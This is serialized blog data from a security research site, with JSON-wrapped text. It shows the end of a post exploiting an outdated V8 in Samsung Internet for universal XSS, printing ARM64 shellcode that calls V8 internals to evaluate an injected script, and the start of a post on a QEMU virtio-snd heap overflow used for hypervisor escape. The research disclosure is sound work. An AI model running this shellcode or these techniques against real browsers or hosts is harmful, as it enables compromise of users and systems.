x9\n",[33742],{"type":26,"tag":83,"props":33743,"children":33744},{"__ignoreMap":8},[33745,33753,33761,33769,33777,33785,33793,33801,33809,33817,33825,33833,33841,33848,33856,33864,33872,33880,33887,33895,33902,33910,33918,33925,33932,33939,33946,33953,33960,33968,33976,33983,33991,33999,34006,34014,34022,34029,34036,34044,34052,34060,34067,34075,34083,34091,34099,34107,34115,34123,34131,34139,34147,34155,34162,34170,34178,34185,34193,34201,34210,34219,34227,34236,34244,34252,34261,34270,34279,34287,34296,34305,34313],{"type":26,"tag":217,"props":33746,"children":33747},{"class":7028,"line":7029},[33748],{"type":26,"tag":217,"props":33749,"children":33750},{},[33751],{"type":32,"value":33752},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\n",{"type":26,"tag":217,"props":33754,"children":33755},{"class":7028,"line":6770},[33756],{"type":26,"tag":217,"props":33757,"children":33758},{},[33759],{"type":32,"value":33760},"movz x1, #0xf7a0\n",{"type":26,"tag":217,"props":33762,"children":33763},{"class":7028,"line":6779},[33764],{"type":26,"tag":217,"props":33765,"children":33766},{},[33767],{"type":32,"value":33768},"movk x1, #0x0071, lsl #16\n",{"type":26,"tag":217,"props":33770,"children":33771},{"class":7028,"line":7140},[33772],{"type":26,"tag":217,"props":33773,"children":33774},{},[33775],{"type":32,"value":33776},"add x9, x12, x1\n",{"type":26,"tag":217,"props":33778,"children":33779},{"class":7028,"line":7165},[33780],{"type":26,"tag":217,"props":33781,"children":33782},{},[33783],{"type":32,"value":33784},"movz x1, #0x5ac8\n",{"type":26,"tag":217,"props":33786,"children":33787},{"class":7028,"line":7178},[33788],{"type":26,"tag":217,"props":33789,"children":33790},{},[33791],{"type":32,"value":33792},"movk x1, #0x054f, lsl #16\n",{"type":26,"tag":217,"props":33794,"children":33795},{"class":7028,"line":7389},[33796],{"type":26,"tag":217,"props":33797,"children":33798},{},[33799],{"type":32,"value":33800},"add x0, x12, x1\n",{"type":26,"tag":217,"props":33802,"children":33803},{"class":7028,"line":7406},[33804],{"type":26,"tag":217,"props":33805,"children":33806},{},[33807],{"type":32,"value":33808},"blr x9\n",{"type":26,"tag":217,"props":33810,"children":33811},{"class":7028,"line":7439},[33812],{"type":26,"tag":217,"props":33813,"children":33814},{},[33815],{"type":32,"value":33816},"// *x0 is isolate pointer\n",{"type":26,"tag":217,"props":33818,"children":33819},{"class":7028,"line":7487},[33820],{"type":26,"tag":217,"props":33821,"children":33822},{},[33823],{"type":32,"value":33824},"// store isolate ptr to stack\n",{"type":26,"tag":217,"props":33826,"children":33827},{"class":7028,"line":7524},[33828],{"type":26,"tag":217,"props":33829,"children":33830},{},[33831],{"type":32,"value":33832},"ldr x13, [x0]\n",{"type":26,"tag":217,"props":33834,"children":33835},{"class":7028,"line":7553},[33836],{"type":26,"tag":217,"props":33837,"children":33838},{},[33839],{"type":32,"value":33840},"str x13, [sp, #-16]!\n",{"type":26,"tag":217,"props":33842,"children":33843},{"class":7028,"line":7570},[33844],{"type":26,"tag":217,"props":33845,"children":33846},{"emptyLinePlaceholder":17},[33847],{"type":32,"value":7817},{"type":26,"tag":217,"props":33849,"children":33850},{"class":7028,"line":7621},[33851],{"type":26,"tag":217,"props":33852,"children":33853},{},[33854],{"type":32,"value":33855},"// store x10 = v8::String::NewFromUTF8\n",{"type":26,"tag":217,"props":33857,"children":33858},{"class":7028,"line":7672},[33859],{"type":26,"tag":217,"props":33860,"children":33861},{},[33862],{"type":32,"value":33863},"movz x1, #0x1140\n",{"type":26,"tag":217,"props":33865,"children":33866},{"class":7028,"line":7681},[33867],{"type":26,"tag":217,"props":33868,"children":33869},{},[33870],{"type":32,"value":33871},"movk x1, #0x0242, lsl #16\n",{"type":26,"tag":217,"props":33873,"children":33874},{"class":7028,"line":7754},[33875],{"type":26,"tag":217,"props":33876,"children":33877},{},[33878],{"type":32,"value":33879},"sub x10, x12, x1\n",{"type":26,"tag":217,"props":33881,"children":33882},{"class":7028,"line":7784},[33883],{"type":26,"tag":217,"props":33884,"children":33885},{"emptyLinePlaceholder":17},[33886],{"type":32,"value":7817},{"type":26,"tag":217,"props":33888,"children":33889},{"class":7028,"line":7802},[33890],{"type":26,"tag":217,"props":33891,"children":33892},{},[33893],{"type":32,"value":33894},"// mmap a RW page for our xss payload\n",{"type":26,"tag":217,"props":33896,"children":33897},{"class":7028,"line":7811},[33898],{"type":26,"tag":217,"props":33899,"children":33900},{},[33901],{"type":32,"value":32233},{"type":26,"tag":217,"props":33903,"children":33904},{"class":7028,"line":7820},[33905],{"type":26,"tag":217,"props":33906,"children":33907},{},[33908],{"type":32,"value":33909},"mov x1, #{page_align(len(XSS_PAYLOAD))}\n",{"type":26,"tag":217,"props":33911,"children":33912},{"class":7028,"line":7844},[33913],{"type":26,"tag":217,"props":33914,"children":33915},{},[33916],{"type":32,"value":33917},"mov x2, #3\n",{"type":26,"tag":217,"props":33919,"children":33920},{"class":7028,"line":7910},[33921],{"type":26,"tag":217,"props":33922,"children":33923},{},[33924],{"type":32,"value":32256},{"type":26,"tag":217,"props":33926,"children":33927},{"class":7028,"line":7954},[33928],{"type":26,"tag":217,"props":33929,"children":33930},{},[33931],{"type":32,"value":32264},{"type":26,"tag":217,"props":33933,"children":33934},{"class":7028,"line":7985},[33935],{"type":26,"tag":217,"props":33936,"children":33937},{},[33938],{"type":32,"value":32272},{"type":26,"tag":217,"props":33940,"children":33941},{"class":7028,"line":8027},[33942],{"type":26,"tag":217,"props":33943,"children":33944},{},[33945],{"type":32,"value":32280},{"type":26,"tag":217,"props":33947,"children":33948},{"class":7028,"line":8035},[33949],{"type":26,"tag":217,"props":33950,"children":33951},{},[33952],{"type":32,"value":32195},{"type":26,"tag":217,"props":33954,"children":33955},{"class":7028,"line":8067},[33956],{"type":26,"tag":217,"props":33957,"children":33958},{"emptyLinePlaceholder":17},[33959],{"type":32,"value":7817},{"type":26,"tag":217,"props":33961,"children":33962},{"class":7028,"line":8107},[33963],{"type":26,"tag":217,"props":33964,"children":33965},{},[33966],{"type":32,"value":33967},"// write our xss payload to mmapped rw page\n",{"type":26,"tag":217,"props":33969,"children":33970},{"class":7028,"line":8145},[33971],{"type":26,"tag":217,"props":33972,"children":33973},{},[33974],{"type":32,"value":33975},"{write_str(XSS_PAYLOAD, \"x0\")}\n",{"type":26,"tag":217,"props":33977,"children":33978},{"class":7028,"line":8154},[33979],{"type":26,"tag":217,"props":33980,"children":33981},{"emptyLinePlaceholder":17},[33982],{"type":32,"value":7817},{"type":26,"tag":217,"props":33984,"children":33985},{"class":7028,"line":8162},[33986],{"type":26,"tag":217,"props":33987,"children":33988},{},[33989],{"type":32,"value":33990},"// store x11 = XSS_PAYLOAD string\n",{"type":26,"tag":217,"props":33992,"children":33993},{"class":7028,"line":8197},[33994],{"type":26,"tag":217,"props":33995,"children":33996},{},[33997],{"type":32,"value":33998},"mov x11, x0\n",{"type":26,"tag":217,"props":34000,"children":34001},{"class":7028,"line":8220},[34002],{"type":26,"tag":217,"props":34003,"children":34004},{"emptyLinePlaceholder":17},[34005],{"type":32,"value":7817},{"type":26,"tag":217,"props":34007,"children":34008},{"class":7028,"line":8228},[34009],{"type":26,"tag":217,"props":34010,"children":34011},{},[34012],{"type":32,"value":34013},"// pop back isolate pointer\n",{"type":26,"tag":217,"props":34015,"children":34016},{"class":7028,"line":8292},[34017],{"type":26,"tag":217,"props":34018,"children":34019},{},[34020],{"type":32,"value":34021},"ldr x13, [sp], #16\n",{"type":26,"tag":217,"props":34023,"children":34024},{"class":7028,"line":8351},[34025],{"type":26,"tag":217,"props":34026,"children":34027},{"emptyLinePlaceholder":17},[34028],{"type":32,"value":7817},{"type":26,"tag":217,"props":34030,"children":34031},{"class":7028,"line":8391},[34032],{"type":26,"tag":217,"props":34033,"children":34034},{},[34035],{"type":32,"value":32316},{"type":26,"tag":217,"props":34037,"children":34038},{"class":7028,"line":8439},[34039],{"type":26,"tag":217,"props":34040,"children":34041},{},[34042],{"type":32,"value":34043},"// x13 = isolate *\n",{"type":26,"tag":217,"props":34045,"children":34046},{"class":7028,"line":8448},[34047],{"type":26,"tag":217,"props":34048,"children":34049},{},[34050],{"type":32,"value":34051},"// x11 = XSS_PAYLOAD string mmapped region\n",{"type":26,"tag":217,"props":34053,"children":34054},{"class":7028,"line":8456},[34055],{"type":26,"tag":217,"props":34056,"children":34057},{},[34058],{"type":32,"value":34059},"// x10 = v8::String::NewFromUtf8\n",{"type":26,"tag":217,"props":34061,"children":34062},{"class":7028,"line":8500},[34063],{"type":26,"tag":217,"props":34064,"children":34065},{"emptyLinePlaceholder":17},[34066],{"type":32,"value":7817},{"type":26,"tag":217,"props":34068,"children":34069},{"class":7028,"line":8535},[34070],{"type":26,"tag":217,"props":34071,"children":34072},{},[34073],{"type":32,"value":34074},"// call v8::String::NewFromUTF8 with our xss_payload\n",{"type":26,"tag":217,"props":34076,"children":34077},{"class":7028,"line":8664},[34078],{"type":26,"tag":217,"props":34079,"children":34080},{},[34081],{"type":32,"value":34082},"// arg0 = isolate *\n",{"type":26,"tag":217,"props":34084,"children":34085},{"class":7028,"line":8700},[34086],{"type":26,"tag":217,"props":34087,"children":34088},{},[34089],{"type":32,"value":34090},"mov x0, x13\n",{"type":26,"tag":217,"props":34092,"children":34093},{"class":7028,"line":8708},[34094],{"type":26,"tag":217,"props":34095,"children":34096},{},[34097],{"type":32,"value":34098},"// arg1 = char *c_str\n",{"type":26,"tag":217,"props":34100,"children":34101},{"class":7028,"line":8716},[34102],{"type":26,"tag":217,"props":34103,"children":34104},{},[34105],{"type":32,"value":34106},"mov x1, x11\n",{"type":26,"tag":217,"props":34108,"children":34109},{"class":7028,"line":8725},[34110],{"type":26,"tag":217,"props":34111,"children":34112},{},[34113],{"type":32,"value":34114},"// arg2 = type = kNormal\n",{"type":26,"tag":217,"props":34116,"children":34117},{"class":7028,"line":8738},[34118],{"type":26,"tag":217,"props":34119,"children":34120},{},[34121],{"type":32,"value":34122},"mov x2, #0\n",{"type":26,"tag":217,"props":34124,"children":34125},{"class":7028,"line":8755},[34126],{"type":26,"tag":217,"props":34127,"children":34128},{},[34129],{"type":32,"value":34130},"// arg4 = length\n",{"type":26,"tag":217,"props":34132,"children":34133},{"class":7028,"line":8771},[34134],{"type":26,"tag":217,"props":34135,"children":34136},{},[34137],{"type":32,"value":34138},"mov w3, #{len(XSS_PAYLOAD)}\n",{"type":26,"tag":217,"props":34140,"children":34141},{"class":7028,"line":13956},[34142],{"type":26,"tag":217,"props":34143,"children":34144},{},[34145],{"type":32,"value":34146},"// call NewFromUTF8\n",{"type":26,"tag":217,"props":34148,"children":34149},{"class":7028,"line":13964},[34150],{"type":26,"tag":217,"props":34151,"children":34152},{},[34153],{"type":32,"value":34154},"blr x10\n",{"type":26,"tag":217,"props":34156,"children":34157},{"class":7028,"line":14021},[34158],{"type":26,"tag":217,"props":34159,"children":34160},{"emptyLinePlaceholder":17},[34161],{"type":32,"value":7817},{"type":26,"tag":217,"props":34163,"children":34164},{"class":7028,"line":14034},[34165],{"type":26,"tag":217,"props":34166,"children":34167},{},[34168],{"type":32,"value":34169},"// store x14 = String XSS_PAYLOAD\n",{"type":26,"tag":217,"props":34171,"children":34172},{"class":7028,"line":14043},[34173],{"type":26,"tag":217,"props":34174,"children":34175},{},[34176],{"type":32,"value":34177},"mov x14, x0\n",{"type":26,"tag":217,"props":34179,"children":34180},{"class":7028,"line":14051},[34181],{"type":26,"tag":217,"props":34182,"children":34183},{"emptyLinePlaceholder":17},[34184],{"type":32,"value":7817},{"type":26,"tag":217,"props":34186,"children":34187},{"class":7028,"line":14114},[34188],{"type":26,"tag":217,"props":34189,"children":34190},{},[34191],{"type":32,"value":34192},"// store x9 = v8::internal::DebugEvaluate::Global\n",{"type":26,"tag":217,"props":34194,"children":34195},{"class":7028,"line":14127},[34196],{"type":26,"tag":217,"props":34197,"children":34198},{},[34199],{"type":32,"value":34200},"movz x1, #0xe44c\n",{"type":26,"tag":217,"props":34202,"children":34204},{"class":7028,"line":34203},60,[34205],{"type":26,"tag":217,"props":34206,"children":34207},{},[34208],{"type":32,"value":34209},"movk x1, #0x014e, lsl #16\n",{"type":26,"tag":217,"props":34211,"children":34213},{"class":7028,"line":34212},61,[34214],{"type":26,"tag":217,"props":34215,"children":34216},{},[34217],{"type":32,"value":34218},"sub x9, x12, x1\n",{"type":26,"tag":217,"props":34220,"children":34222},{"class":7028,"line":34221},62,[34223],{"type":26,"tag":217,"props":34224,"children":34225},{"emptyLinePlaceholder":17},[34226],{"type":32,"value":7817},{"type":26,"tag":217,"props":34228,"children":34230},{"class":7028,"line":34229},63,[34231],{"type":26,"tag":217,"props":34232,"children":34233},{},[34234],{"type":32,"value":34235},"// call v8::internal::DebugEvaluate::Global\n",{"type":26,"tag":217,"props":34237,"children":34239},{"class":7028,"line":34238},64,[34240],{"type":26,"tag":217,"props":34241,"children":34242},{},[34243],{"type":32,"value":34082},{"type":26,"tag":217,"props":34245,"children":34247},{"class":7028,"line":34246},65,[34248],{"type":26,"tag":217,"props":34249,"children":34250},{},[34251],{"type":32,"value":34090},{"type":26,"tag":217,"props":34253,"children":34255},{"class":7028,"line":34254},66,[34256],{"type":26,"tag":217,"props":34257,"children":34258},{},[34259],{"type":32,"value":34260},"// arg1 = String *source\n",{"type":26,"tag":217,"props":34262,"children":34264},{"class":7028,"line":34263},67,[34265],{"type":26,"tag":217,"props":34266,"children":34267},{},[34268],{"type":32,"value":34269},"mov x1, x14\n",{"type":26,"tag":217,"props":34271,"children":34273},{"class":7028,"line":34272},68,[34274],{"type":26,"tag":217,"props":34275,"children":34276},{},[34277],{"type":32,"value":34278},"// arg2 = mode = kDefault\n",{"type":26,"tag":217,"props":34280,"children":34282},{"class":7028,"line":34281},69,[34283],{"type":26,"tag":217,"props":34284,"children":34285},{},[34286],{"type":32,"value":34122},{"type":26,"tag":217,"props":34288,"children":34290},{"class":7028,"line":34289},70,[34291],{"type":26,"tag":217,"props":34292,"children":34293},{},[34294],{"type":32,"value":34295},"// arg3 = repl_mode = kYes\n",{"type":26,"tag":217,"props":34297,"children":34299},{"class":7028,"line":34298},71,[34300],{"type":26,"tag":217,"props":34301,"children":34302},{},[34303],{"type":32,"value":34304},"mov x3, #0\n",{"type":26,"tag":217,"props":34306,"children":34308},{"class":7028,"line":34307},72,[34309],{"type":26,"tag":217,"props":34310,"children":34311},{"emptyLinePlaceholder":17},[34312],{"type":32,"value":7817},{"type":26,"tag":217,"props":34314,"children":34316},{"class":7028,"line":34315},73,[34317],{"type":26,"tag":217,"props":34318,"children":34319},{},[34320],{"type":32,"value":33808},{"type":26,"tag":607,"props":34322,"children":34324},{"id":34323},"uxss-demo",[34325],{"type":32,"value":34326},"UXSS Demo",{"type":26,"tag":39,"props":34328,"children":34329},{},[34330,34332,34338],{"type":32,"value":34331},"Below is a demo that executes the following UXSS payload: ",{"type":26,"tag":83,"props":34333,"children":34335},{"className":34334},[],[34336],{"type":32,"value":34337},"alert(document.domain); window.location.href = \"https://cor.team/\";",{"type":32,"value":180},{"type":26,"tag":8091,"props":34340,"children":34342},{"className":34341,"controls":17},[18801],[34343,34344,34348],{"type":32,"value":18805},{"type":26,"tag":18807,"props":34345,"children":34347},{"src":34346,"type":18810},"/posts/mobile-renderer-rce/demo.mp4",[],{"type":32,"value":18813},{"type":26,"tag":27,"props":34350,"children":34351},{"id":9272},[34352],{"type":32,"value":9275},{"type":26,"tag":39,"props":34354,"children":34355},{},[34356],{"type":32,"value":34357},"Given the complex nature of the modern software ecosystem, it is unsurprising to find core out of date libraries in popular applications. Samsung Internet relied on a six month old version of V8, a JavaScript engine where researchers frequently discover new vulnerabilities, providing us a large window for n-day exploitation.",{"type":26,"tag":39,"props":34359,"children":34360},{},[34361],{"type":32,"value":34362},"While renderer bugs are usually chained with another exploit such as a sandbox escape, we pushed the capabilities of the bug by targeting the weaker Site Isolation mechanism on mobile. As most web pages ran under the same process, we could inject shellcode into the JavaScript interpreter to achieve universal XSS in Samsung Internet browser.",{"type":26,"tag":9282,"props":34364,"children":34365},{},[34366],{"type":32,"value":9286},{"title":8,"searchDepth":6770,"depth":6770,"links":34368},[34369,34373,34376,34386],{"id":24419,"depth":6770,"text":24422,"children":34370},[34371,34372],{"id":24444,"depth":6779,"text":24447},{"id":24526,"depth":6779,"text":24529},{"id":24559,"depth":6770,"text":24562,"children":34374},[34375],{"id":24704,"depth":6779,"text":24554},{"id":24853,"depth":6770,"text":24856,"children":34377},[34378,34379,34380,34381,34382,34383,34384,34385],{"id":24859,"depth":6779,"text":24862},{"id":25317,"depth":6779,"text":25320},{"id":25504,"depth":6779,"text":25507},{"id":25615,"depth":6779,"text":25618},{"id":25894,"depth":6779,"text":25897},{"id":28628,"depth":6779,"text":28631},{"id":31913,"depth":6779,"text":31916},{"id":34323,"depth":6779,"text":34326},{"id":9272,"depth":6770,"text":9275},"content:blog:2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce",{"_path":34391,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":34392,"description":34393,"date":34394,"author":9308,"image":34395,"isFeatured":17,"onBlogPage":17,"tags":34397,"body":34400,"_type":6799,"_id":42711,"_source":6801,"_file":42712,"_stem":42713,"_extension":6804},"/blog/2026-03-17-virtio-snd-qemu-hypervisor-escape","From virtio-snd 0-Day to Hypervisor Escape: Exploiting QEMU with an Uncontrolled Heap Overflow","Turning an uncontrolled heap overflow into a reliable QEMU guest-to-host escape using new glibc allocator behavior and QEMU-specific heap spray techniques.","2026-03-17T12:00:00.000Z",{"src":34396,"width":6816,"height":6817},"/posts/virtio-snd-qemu-0day/title.png",[34398,34399],"qemu","heap-overflow",{"type":23,"children":34401,"toc":42693},[34402,34407,34412,34417,34423,34428,34433,34441,34447,34459,34463,34468,34476,34481,34487,34492,34505,35122,35156,35201,35235,35270,35408,35456,35462,35467,36227,36271,36307,36342,36407,36427,36877,36926,36929,36934,37000,37026,37048,37054,37059,37064,37070,37075,37080,37085,37091,37104,37111,37116,37124,37194,37199,37205,37217,37446,37509,37528,37911,37916,37949,37954,38230,38242,38260,38539,38551,38554,38588,38593,38599,38611,38623,38628,38633,38643,38678,39297,39329,39340,39376,39389,39395,39407,39415,39441,39446,39479,39520,39526,39545,39583,39591,39640,39645,39694,39699,39707,39794,39800,39839,39851,39859,39877,39896,39904,39916,39924,39943,39951,39962,39970,39981,39989,40002,40010,40016,40021,40034,40042,40060,40068,40080,40085,40093,40129,40162,40169,40203,40211,40216,40222,40234,40245,40524,40584,40651,40659,40693,41303,41314,41322,41328,41333,41344,42098,42131,42143,42229,42249,42458,42506,42517,42523,42542,42568,42596,42613,42638,42641,42661,42675,42679,42684,42689],{"type":26,"tag":39,"props":34403,"children":34404},{},[34405],{"type":32,"value":34406},"Heap overflows are often exploitable, but far less so when the corrupted bytes are not under your control. In many cases, that kind of bug is written off as a crash and nothing more. However, in this post we show how we turned such an overflow into a reliable QEMU guest-to-host escape by abusing new glibc allocator behavior and QEMU-specific heap spray techniques.",{"type":26,"tag":27,"props":34408,"children":34409},{"id":34398},[34410],{"type":32,"value":34411},"QEMU",{"type":26,"tag":39,"props":34413,"children":34414},{},[34415],{"type":32,"value":34416},"QEMU is a machine emulator and virtualizer that lets a host system run guest operating systems. It presents the guest with virtual hardware, while the logic backing that hardware runs inside the host-side QEMU process.",{"type":26,"tag":607,"props":34418,"children":34420},{"id":34419},"virtio-devices",[34421],{"type":32,"value":34422},"Virtio Devices",{"type":26,"tag":39,"props":34424,"children":34425},{},[34426],{"type":32,"value":34427},"For guest-to-host escape research, the interesting part of QEMU is the interface between the guest and those host-side device implementations. Every request sent by the guest is eventually parsed and handled by code running in the QEMU process. This is interesting because any unhandled edge case in the device could lead to some kind of host state corruption.",{"type":26,"tag":39,"props":34429,"children":34430},{},[34431],{"type":32,"value":34432},"At a high level, the communication between the driver running in the guest and the device running on the host is simple - the guest-side virtio driver shares requests over virtqueues, while the host-side virtio device consumes those requests, processes and returns responses.",{"type":26,"tag":39,"props":34434,"children":34435},{},[34436],{"type":26,"tag":6468,"props":34437,"children":34440},{"alt":34438,"src":34439},"flowchart1","/posts/virtio-snd-qemu-0day/flowchart1.png",[],{"type":26,"tag":27,"props":34442,"children":34444},{"id":34443},"finding-a-bug",[34445],{"type":32,"value":34446},"Finding a Bug",{"type":26,"tag":39,"props":34448,"children":34449},{},[34450,34452,34458],{"type":32,"value":34451},"While looking for devices to research, we focused on ones that seemed to have received less scrutiny in the past. With that in mind, we started with the sound device ",{"type":26,"tag":83,"props":34453,"children":34455},{"className":34454},[],[34456],{"type":32,"value":34457},"virtio-snd",{"type":32,"value":180},{"type":26,"tag":607,"props":34460,"children":34461},{"id":34457},[34462],{"type":32,"value":34457},{"type":26,"tag":39,"props":34464,"children":34465},{},[34466],{"type":32,"value":34467},"From the official documentation:",{"type":26,"tag":35,"props":34469,"children":34470},{},[34471],{"type":26,"tag":39,"props":34472,"children":34473},{},[34474],{"type":32,"value":34475},"Virtio sound implements capture and playback from inside a guest using the configured audio backend of the host machine.",{"type":26,"tag":39,"props":34477,"children":34478},{},[34479],{"type":32,"value":34480},"Essentially, it allows software running inside the guest to interact with the host's audio stack through a paravirtualized sound device. Playback streams send guest-provided audio data to the host backend, while capture streams let the guest receive audio input from the host.",{"type":26,"tag":631,"props":34482,"children":34484},{"id":34483},"audio-data-buffers",[34485],{"type":32,"value":34486},"Audio Data Buffers",{"type":26,"tag":39,"props":34488,"children":34489},{},[34490],{"type":32,"value":34491},"This audio data flows through buffers allocated by the host-side virtio-snd device and stored in a FIFO linked list for the corresponding stream.",{"type":26,"tag":39,"props":34493,"children":34494},{},[34495,34497,34503],{"type":32,"value":34496},"For example, the following is ",{"type":26,"tag":83,"props":34498,"children":34500},{"className":34499},[],[34501],{"type":32,"value":34502},"virtio_snd_handle_rx_xfer",{"type":32,"value":34504},", which is responsible for allocating buffers for an input audio stream:",{"type":26,"tag":207,"props":34506,"children":34508},{"code":34507,"language":2255,"meta":8,"className":9574,"style":8},"/*\n * The rx virtqueue handler. Makes the buffers available to their\n * respective streams for consumption.\n *\n * @vdev: VirtIOSound device\n * @vq: rx virtqueue\n */\nstatic void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n    VirtQueueElement *elem;\n    [...]\n\n    for (;;) {\n        VirtIOSoundPCMStream *stream;\n\n        elem = virtqueue_pop(vq, sizeof(VirtQueueElement));     // [1]\n        if (!elem) {\n            break;\n        }\n\n        [...]\n\n        WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n            size = iov_size(elem->in_sg, elem->in_num) -\n                sizeof(virtio_snd_pcm_status);                  // [2]\n            buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);\n            buffer->elem = elem;\n            buffer->vq = vq;\n            buffer->size = 0;\n            buffer->offset = 0;\n            QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry); // [3]\n        }\n        continue;\n\n        [...]\n}\n\n",[34509],{"type":26,"tag":83,"props":34510,"children":34511},{"__ignoreMap":8},[34512,34520,34528,34536,34544,34552,34560,34568,34616,34623,34640,34648,34655,34667,34684,34691,34728,34748,34760,34767,34774,34781,34788,34821,34882,34900,34939,34964,34988,35015,35043,35082,35089,35101,35108,35115],{"type":26,"tag":217,"props":34513,"children":34514},{"class":7028,"line":7029},[34515],{"type":26,"tag":217,"props":34516,"children":34517},{"style":7033},[34518],{"type":32,"value":34519},"/*\n",{"type":26,"tag":217,"props":34521,"children":34522},{"class":7028,"line":6770},[34523],{"type":26,"tag":217,"props":34524,"children":34525},{"style":7033},[34526],{"type":32,"value":34527}," * The rx virtqueue handler. Makes the buffers available to their\n",{"type":26,"tag":217,"props":34529,"children":34530},{"class":7028,"line":6779},[34531],{"type":26,"tag":217,"props":34532,"children":34533},{"style":7033},[34534],{"type":32,"value":34535}," * respective streams for consumption.\n",{"type":26,"tag":217,"props":34537,"children":34538},{"class":7028,"line":7140},[34539],{"type":26,"tag":217,"props":34540,"children":34541},{"style":7033},[34542],{"type":32,"value":34543}," *\n",{"type":26,"tag":217,"props":34545,"children":34546},{"class":7028,"line":7165},[34547],{"type":26,"tag":217,"props":34548,"children":34549},{"style":7033},[34550],{"type":32,"value":34551}," * @vdev: VirtIOSound device\n",{"type":26,"tag":217,"props":34553,"children":34554},{"class":7028,"line":7178},[34555],{"type":26,"tag":217,"props":34556,"children":34557},{"style":7033},[34558],{"type":32,"value":34559}," * @vq: rx virtqueue\n",{"type":26,"tag":217,"props":34561,"children":34562},{"class":7028,"line":7389},[34563],{"type":26,"tag":217,"props":34564,"children":34565},{"style":7033},[34566],{"type":32,"value":34567}," */\n",{"type":26,"tag":217,"props":34569,"children":34570},{"class":7028,"line":7406},[34571,34575,34579,34584,34589,34593,34598,34603,34607,34612],{"type":26,"tag":217,"props":34572,"children":34573},{"style":7154},[34574],{"type":32,"value":9987},{"type":26,"tag":217,"props":34576,"children":34577},{"style":7154},[34578],{"type":32,"value":8936},{"type":26,"tag":217,"props":34580,"children":34581},{"style":7064},[34582],{"type":32,"value":34583}," virtio_snd_handle_rx_xfer",{"type":26,"tag":217,"props":34585,"children":34586},{"style":7048},[34587],{"type":32,"value":34588},"(VirtIODevice ",{"type":26,"tag":217,"props":34590,"children":34591},{"style":7149},[34592],{"type":32,"value":10006},{"type":26,"tag":217,"props":34594,"children":34595},{"style":7054},[34596],{"type":32,"value":34597},"vdev",{"type":26,"tag":217,"props":34599,"children":34600},{"style":7048},[34601],{"type":32,"value":34602},", VirtQueue ",{"type":26,"tag":217,"props":34604,"children":34605},{"style":7149},[34606],{"type":32,"value":10006},{"type":26,"tag":217,"props":34608,"children":34609},{"style":7054},[34610],{"type":32,"value":34611},"vq",{"type":26,"tag":217,"props":34613,"children":34614},{"style":7048},[34615],{"type":32,"value":10025},{"type":26,"tag":217,"props":34617,"children":34618},{"class":7028,"line":7439},[34619],{"type":26,"tag":217,"props":34620,"children":34621},{"style":7048},[34622],{"type":32,"value":10033},{"type":26,"tag":217,"props":34624,"children":34625},{"class":7028,"line":7487},[34626,34631,34635],{"type":26,"tag":217,"props":34627,"children":34628},{"style":7048},[34629],{"type":32,"value":34630},"    VirtQueueElement ",{"type":26,"tag":217,"props":34632,"children":34633},{"style":7149},[34634],{"type":32,"value":10006},{"type":26,"tag":217,"props":34636,"children":34637},{"style":7048},[34638],{"type":32,"value":34639},"elem;\n",{"type":26,"tag":217,"props":34641,"children":34642},{"class":7028,"line":7524},[34643],{"type":26,"tag":217,"props":34644,"children":34645},{"style":7048},[34646],{"type":32,"value":34647},"    [...]\n",{"type":26,"tag":217,"props":34649,"children":34650},{"class":7028,"line":7553},[34651],{"type":26,"tag":217,"props":34652,"children":34653},{"emptyLinePlaceholder":17},[34654],{"type":32,"value":7817},{"type":26,"tag":217,"props":34656,"children":34657},{"class":7028,"line":7570},[34658,34662],{"type":26,"tag":217,"props":34659,"children":34660},{"style":7042},[34661],{"type":32,"value":12461},{"type":26,"tag":217,"props":34663,"children":34664},{"style":7048},[34665],{"type":32,"value":34666}," (;;) {\n",{"type":26,"tag":217,"props":34668,"children":34669},{"class":7028,"line":7621},[34670,34675,34679],{"type":26,"tag":217,"props":34671,"children":34672},{"style":7048},[34673],{"type":32,"value":34674},"        VirtIOSoundPCMStream ",{"type":26,"tag":217,"props":34676,"children":34677},{"style":7149},[34678],{"type":32,"value":10006},{"type":26,"tag":217,"props":34680,"children":34681},{"style":7048},[34682],{"type":32,"value":34683},"stream;\n",{"type":26,"tag":217,"props":34685,"children":34686},{"class":7028,"line":7672},[34687],{"type":26,"tag":217,"props":34688,"children":34689},{"emptyLinePlaceholder":17},[34690],{"type":32,"value":7817},{"type":26,"tag":217,"props":34692,"children":34693},{"class":7028,"line":7681},[34694,34699,34703,34708,34713,34718,34723],{"type":26,"tag":217,"props":34695,"children":34696},{"style":7048},[34697],{"type":32,"value":34698},"        elem ",{"type":26,"tag":217,"props":34700,"children":34701},{"style":7149},[34702],{"type":32,"value":267},{"type":26,"tag":217,"props":34704,"children":34705},{"style":7064},[34706],{"type":32,"value":34707}," virtqueue_pop",{"type":26,"tag":217,"props":34709,"children":34710},{"style":7048},[34711],{"type":32,"value":34712},"(vq, ",{"type":26,"tag":217,"props":34714,"children":34715},{"style":7154},[34716],{"type":32,"value":34717},"sizeof",{"type":26,"tag":217,"props":34719,"children":34720},{"style":7048},[34721],{"type":32,"value":34722},"(VirtQueueElement));",{"type":26,"tag":217,"props":34724,"children":34725},{"style":7033},[34726],{"type":32,"value":34727},"     // [1]\n",{"type":26,"tag":217,"props":34729,"children":34730},{"class":7028,"line":7754},[34731,34735,34739,34743],{"type":26,"tag":217,"props":34732,"children":34733},{"style":7042},[34734],{"type":32,"value":12497},{"type":26,"tag":217,"props":34736,"children":34737},{"style":7048},[34738],{"type":32,"value":7051},{"type":26,"tag":217,"props":34740,"children":34741},{"style":7149},[34742],{"type":32,"value":11704},{"type":26,"tag":217,"props":34744,"children":34745},{"style":7048},[34746],{"type":32,"value":34747},"elem) {\n",{"type":26,"tag":217,"props":34749,"children":34750},{"class":7028,"line":7784},[34751,34756],{"type":26,"tag":217,"props":34752,"children":34753},{"style":7042},[34754],{"type":32,"value":34755},"            